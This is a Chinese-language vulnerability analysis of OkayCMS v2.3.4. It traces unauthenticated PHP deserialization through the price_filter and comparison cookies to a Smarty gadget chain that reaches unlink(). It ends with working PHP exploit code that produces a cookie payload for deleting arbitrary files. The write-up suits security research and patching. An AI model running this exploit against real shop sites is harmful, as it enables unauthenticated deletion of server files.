01 漏洞简介
OkayCMS 是一个来自俄罗斯现成的在线商店平台,提供了在真正的演示在线商店中工作的机会,可以在其中执行任何操作。在管理面板中无限制地添加和删除产品、导入、更改语言和货币。
OKAYCMS v2.3.4中存在一处反序列化漏洞,存在于view/ProductsView.php和api/Comparison.php中未经身份验证的攻击者可以通过此处反序列化漏洞构造任意文件删除的利用链
02 漏洞分析
安装过程省略(使用composer、并且更改config目录中的配置文件、导入一下数据库即可)
①view/ProductsView.php fetch()方法:
在516行左右,这里将通过$_COOKIE传入的price_filter参数未进行过滤,直接传入unserialize()进行反序列化,所以满足反序列化内容可控条件
访问到此方法:
http://xxx.com/en/catalog/myagkie-igrushki/sort-price
②api/Comparison.php
文件中有三处地方进行了反序列化:
get_comparison()
add_item()
delete_item()
接收传参的方式和前面一样,也是通过COOKIE接收comparison的值,未进行过滤直接进行反序列化
接着我们看程序中哪里调用了上面的api接口,ajax/comparison.php文件中
这里通过get方式传入了action参数,判断它的值分别调用不同的方法
例如访问add_item:
http://xxx/com/ajax/comparison.php?action=add
至此针对反序列化的可控利用点已经分析完了,那么接下来就得找到并构造利用链进行深入利用了
根据OkayCMS的目录结构可以得知,程序使用了Smarty模板进行开发,所以我们可以直接使用Smarty中的反序列化利用链进行利用,与使用thinkphp二开的cms类似,只要找到可控的反序列化利用点则可以直接使用利用链进行利用
Smarty模板中的任意文件删除利用链:
在/vendor/smarty/smarty/libs/sysplugins/smarty_internal_cacheresource_file.php文件中的类Smarty_Internal_CacheResource_File中的releaseLock()方法,275行左右调用了unlink()函数进行文件删除操作,所以我们只需要将$cached->lock_id设置为要删除的文件路径即可
可以看到releaseLock()方法接收的参数前有类名,这种方式称为类型约束,简单来说就是传入的参数必须为指定类的一个实例对象,分别为Smarty类和Smarty_Template_Cached类,$cached就是Smarty_Template_Cached类的实例
那么我们继续寻找有没有类中的魔术方法调用了上面的releaseLock()方法,全局搜索,熟悉的__destruct()析构方法
跟进smarty_internal_template.php中的Smarty_Internal_Template类的__destruct()析构方法:
这里只要满足了if判断的条件,就会执行releaseLock()方法,首先看第一个条件$this->smarty->cache_locking,我们将$this->smarty设置为Smarty类,所以是设置其cache_locking属性值为true即可,然后$this->cached需要有值,会将其设置为Smarty_Template_Cached类所以也是有值的,最后看$this->cached->is_locked,也就是Smarty_Template_Cached类中的属性is_locked需要为true,满足以上所有条件就可以执行分支内代码
使用$this->cached->handler->releaseLock()的方式执行,而$this->cached等于Smarty_Template_Cached类,即设置其handler属性为Smarty_Internal_CacheResource_File类(最开始定义releaseLock()方法的类),最终成功执行releaseLock()方法
大致的利用思路已经讲完了,那么接下来构造EXP:
<?php class Smarty{ public $cache_locking = true; } class Smarty_Internal_CacheResource_File{ } class Smarty_Template_Cached { public $handler = null; public $is_locked; public $lock_id; public function __construct() { $this->handler = new Smarty_Internal_CacheResource_File; $this->is_locked = true; $this->lock_id = dirname(__FILE__)."/test.txt"; // 文件删除的路径 } } class Smarty_Internal_Template{ public $smarty = null; public $cached = null; public function __construct() { $this->smarty = new Smarty; $this->cached = new Smarty_Template_Cached; } } $a = new Smarty_Internal_Template(); $b = serialize($a); echo urlencode($b); // 因为通过COOKIE传参,payload中有分号就会截断
然后通过COOKIE传payload即可:
执行后会删除index.php同目录下的test.txt文件